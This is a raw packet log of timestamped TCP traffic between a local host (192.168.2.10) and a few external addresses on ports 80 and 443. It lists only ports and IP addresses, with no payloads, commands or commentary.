Dec 18, 2024 15:56:27.667862892 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667905092 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667992115 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.668035984 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.668082952 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784123898 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784190893 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784260988 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784265995 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784368038 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784452915 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784681082 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784742117 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.784754992 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.785088062 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.785171032 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.786115885 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786241055 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786277056 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786281109 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786322117 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786348104 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786500931 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786505938 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786516905 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786520004 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786556959 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786561012 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786643028 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786647081 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786757946 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786762953 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786834002 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786838055 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786847115 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786942005 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.786995888 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787106991 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787230015 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787235022 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787245989 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787334919 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787338972 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787436962 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787472963 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787518024 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787611961 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787710905 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787714958 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787822008 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787847042 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787952900 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.787957907 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788053989 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788110018 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788191080 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788250923 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788317919 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788387060 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788466930 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788635969 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788731098 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788804054 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.788932085 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789073944 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789150000 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789248943 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789252996 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789304018 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789518118 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.789798021 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.789900064 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.904896975 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.904932022 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.904964924 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905008078 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905123949 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905179024 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905246973 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905277014 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905407906 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905412912 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905481100 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905520916 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905637026 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905666113 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905740023 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905756950 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905853033 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.905857086 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906032085 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906147003 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906215906 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906244993 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906346083 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906362057 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906461000 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906565905 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906652927 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906701088 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906785011 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906838894 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906862020 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906879902 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.906996012 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907049894 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907124043 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907160044 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907171011 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907330036 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907335043 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907412052 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907470942 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907546043 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907587051 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907622099 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907684088 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907799006 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907907963 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907913923 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.907923937 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.908004045 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.908049107 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.908158064 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.908162117 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.908601999 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.909008980 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.909173012 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.909748077 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.909756899 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.909864902 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.909881115 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910021067 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910026073 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910212994 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910238981 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910295963 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910300970 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910423040 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910480976 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910670042 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910675049 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910727978 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910732985 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910788059 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910851955 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.910926104 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.911009073 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.911084890 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.911185026 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.911212921 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912347078 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912355900 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912370920 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912375927 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912385941 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912390947 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912400961 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912405014 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912409067 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912419081 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912422895 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912426949 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912431955 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912441015 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912445068 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912456989 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912462950 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912477970 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912482023 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912492037 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912496090 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912504911 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912512064 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912516117 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912519932 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912616968 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912621975 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912771940 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912842035 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.912910938 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.913013935 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.913322926 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:28.028831005 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.028919935 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.028980970 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.028985977 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029103041 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029108047 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029210091 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029215097 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029278040 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029282093 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029385090 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029450893 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029494047 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029552937 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029808998 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029819012 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029833078 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029838085 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029864073 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029867887 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.029954910 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030002117 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030088902 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030136108 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030399084 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030404091 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030539036 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030580044 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030688047 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030740023 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030786991 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.030874968 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031027079 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031030893 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031110048 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031342983 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031615019 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031620026 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031624079 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031646967 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031651974 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031660080 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031663895 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031667948 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031702995 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031708002 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031820059 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031857014 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031948090 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.031980991 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032028913 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032062054 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032217026 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032222033 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032830954 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032938957 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.032973051 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033070087 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033073902 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033134937 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033148050 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033292055 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033356905 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033373117 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033375025 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033485889 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033489943 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033606052 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033760071 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033866882 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033871889 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.033880949 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034087896 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034092903 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034101963 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034106016 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034110069 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034113884 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034184933 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034188986 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034270048 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.034274101 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:28.318248034 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:28.318304062 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:28.318557978 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:28.320643902 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:28.320653915 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:28.798386097 CET	49776	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:28.798873901 CET	49799	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:28.918407917 CET	80	49776	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:28.918474913 CET	80	49799	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:28.918478012 CET	49776	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:28.918546915 CET	49799	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:28.918802023 CET	49799	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:29.041634083 CET	80	49799	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:29.293715954 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:29.295226097 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:29.421683073 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:29.421744108 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:29.529813051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:29.548883915 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:29.549134970 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:29.552342892 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:29.552357912 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:29.552678108 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:29.594150066 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:29.601281881 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:29.601331949 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:29.601464987 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:29.649452925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:29.649734020 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:29.650068045 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:29.770667076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:30.579046965 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:30.579164982 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:30.579289913 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:30.664272070 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:30.664311886 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:30.664330006 CET	49797	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:30.664338112 CET	443	49797	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:30.673532963 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:30.673579931 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:30.673680067 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:30.673974037 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:30.673995972 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:30.683079958 CET	80	49799	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:30.683212996 CET	49799	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:30.685169935 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:30.685528994 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:30.805107117 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:30.805643082 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:30.805800915 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:30.805800915 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:30.806119919 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:30.925674915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:31.157609940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157653093 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157668114 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157680035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157777071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157788992 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157800913 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157814026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157826900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157841921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.157841921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.157841921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.157871008 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.157902956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.157942057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.277899981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.278002977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.278069973 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.282181025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.282336950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.282423973 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.349636078 CET	80	49801	185.185.71.170	192.168.2.10
